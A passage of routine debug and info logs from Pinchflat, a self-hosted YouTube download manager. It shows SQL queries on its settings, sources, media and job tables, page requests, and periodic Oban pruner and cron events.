o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2216] 15:32:23.175 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=255.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:23.176 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:23.178 [debug] QUERY OK source="settings" db=0.7ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:23.179 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:32:23.632 [info] Sent 200 in 469ms 15:32:45.483 [info] {"source":"oban","duration":3837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:55.503 [info] GET /sources/2/media/24933 15:32:55.503 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "24933", "source_id" => "2"} Pipelines: [:browser] 15:32:55.504 [debug] QUERY OK source="media_items" db=0.4ms idle=586.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24933] 15:32:55.506 [debug] QUERY OK source="sources" db=0.9ms idle=587.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:32:55.506 [debug] QUERY OK source="tasks" db=1.3ms idle=587.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [24933] 15:32:55.509 [debug] QUERY OK source="settings" db=1.8ms idle=588.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:55.511 [debug] QUERY OK source="settings" db=0.8ms queue=0.6ms idle=211.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:55.513 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:55.516 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.4ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:32:55.778 [info] Sent 200 in 274ms 15:33:00.590 [info] {"source":"oban","duration":838,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:15.485 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:45.488 [info] {"source":"oban","duration":2122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.592 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:15.490 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:45.493 [info] {"source":"oban","duration":2320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.593 [info] {"source":"oban","duration":632,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:15.497 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:45.500 [info] {"source":"oban","duration":2768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.594 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:15.505 [info] {"source":"oban","duration":3345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:23.093 [info] GET /app_info 15:36:23.093 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 15:36:23.095 [debug] QUERY OK source="settings" db=1.1ms queue=0.6ms idle=1175.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:23.097 [debug] QUERY OK source="settings" db=0.3ms queue=0.6ms idle=1162.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:23.099 [debug] QUERY OK source="settings" db=0.9ms idle=179.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:23.101 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=181.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:23.102 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=164.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:23.103 [info] Sent 200 in 10ms 15:36:45.507 [info] {"source":"oban","duration":1875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.595 [info] {"source":"oban","duration":636,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:15.510 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:16.834 [info] GET /sources/2/media/27331 15:37:16.834 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "27331", "source_id" => "2"} Pipelines: [:browser] 15:37:16.834 [info] GET /sources 15:37:16.835 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 15:37:16.839 [debug] QUERY OK source="media_items" db=4.2ms queue=0.2ms idle=1916.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27331] 15:37:16.841 [debug] QUERY OK source="settings" db=5.0ms idle=1917.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.843 [debug] QUERY OK source="tasks" db=1.9ms queue=0.1ms idle=1331.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [27331] 15:37:16.844 [debug] QUERY OK source="settings" db=2.6ms queue=0.4ms idle=1728.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.846 [debug] QUERY OK source="settings" db=0.9ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.846 [debug] QUERY OK source="sources" db=1.7ms queue=0.7ms idle=729.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:37:16.849 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.850 [debug] QUERY OK source="oban_jobs" db=2.4ms idle=4.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2302] 15:37:16.853 [debug] QUERY OK source="settings" db=3.9ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.856 [debug] QUERY OK source="settings" db=3.0ms queue=1.8ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.859 [debug] QUERY OK source="settings" db=1.7ms queue=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.860 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:16.863 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.5ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:37:16.868 [info] Sent 200 in 34ms 15:37:17.421 [debug] QUERY OK source="sources" db=566.4ms queue=0.1ms idle=7.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 15:37:17.428 [debug] QUERY OK source="sources" db=6.5ms queue=0.3ms idle=562.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 15:37:17.440 [info] Sent 200 in 606ms 15:37:17.622 [info] GET /settings 15:37:17.622 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:37:17.624 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=762.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:17.626 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=761.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:17.627 [debug] QUERY OK source="settings" db=0.9ms idle=205.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:17.628 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=207.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:17.632 [info] Sent 200 in 9ms 15:37:45.512 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.597 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:15.514 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:45.516 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.598 [info] {"source":"oban","duration":761,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:15.519 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:45.522 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.601 [info] {"source":"oban","duration":1002,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:15.524 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:45.529 [info] {"source":"oban","duration":2561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.602 [info] {"source":"oban","duration":701,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:15.533 [info] {"source":"oban","duration":2916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:45.535 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.605 [info] {"source":"oban","duration":1046,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:15.537 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:45.539 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.606 [info] {"source":"oban","duration":552,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:15.542 [info] {"source":"oban","duration":2788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:45.544 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.609 [info] {"source":"oban","duration":860,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:15.548 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:45.550 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.610 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:15.553 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:45.556 [info] {"source":"oban","duration":2410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.612 [info] {"source":"oban","duration":1264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:15.558 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:45.562 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.614 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:15.566 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:45.568 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.616 [info] {"source":"oban","duration":988,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:15.572 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:45.576 [info] {"source":"oban","duration":2760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.618 [info] {"source":"oban","duration":1104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:15.578 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:45.580 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.620 [info] {"source":"oban","duration":1018,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:15.584 [info] {"source":"oban","duration":2825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:45.586 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.621 [info] {"source":"oban","duration":475,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:15.589 [info] {"source":"oban","duration":2486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:45.593 [info] {"source":"oban","duration":3154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.622 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:15.595 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:45.597 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.623 [info] {"source":"oban","duration":764,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:15.600 [info] {"source":"oban","duration":2795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:45.603 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.625 [info] 